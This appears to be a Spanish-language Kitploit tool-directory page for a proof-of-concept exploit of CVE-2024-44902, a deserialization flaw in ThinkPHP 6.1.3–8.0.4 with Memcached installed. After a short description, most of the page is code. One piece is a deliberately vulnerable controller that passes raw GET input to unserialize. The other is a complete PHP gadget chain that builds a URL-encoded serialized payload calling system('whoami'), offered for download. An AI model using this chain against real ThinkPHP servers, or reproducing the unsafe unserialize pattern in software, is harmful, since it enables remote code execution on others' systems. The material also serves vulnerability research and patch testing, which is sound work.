Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-44902 — Exploit de prueba de concepto para CVE-2024-44902, una vulnerabilidad de deserialización en ThinkPHP v6.1.3–v8.0.4 que permite la ejecución remota de código a través de payloads diseñados cuando la extensión Memcached está instalada. | Kitploit
Herramientas/GitHubGitHub/fru1ts/cve-2024-44902
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubfru1ts/cve-2024-44902

CVE-2024-44902

Exploit de prueba de concepto para CVE-2024-44902, una vulnerabilidad de deserialización en ThinkPHP v6.1.3–v8.0.4 que permite la ejecución remota de código a través de payloads diseñados cuando la extensión Memcached está instalada.

Ver Repositorio
6hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-44902

Descripción de la vulnerabilidad

Una vulnerabilidad de deserialización en Thinkphp v6.1.3 a v8.0.4 permite a atacantes ejecutar código arbitrario.

Versiones afectadas

Thinkphp v6.1.3 a v8.0.4

Condición de explotación

El framework thinkphp debe tener instalada la extensión Memcached.

Verificación de la vulnerabilidad

  • Entorno de prueba: php8.0.7+thinkphp8.0.4+memcached3.2.0.

Primero, agregue un nuevo endpoint de deserialización en app\controller\Index.php, como:

root@kitploit:~
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

Puede generar el payload desde:

root@kitploit:~
<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["whoami"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

El uso del payload para deserializar puede resultar en RCE:

image-20240905234416317

Descargar herramienta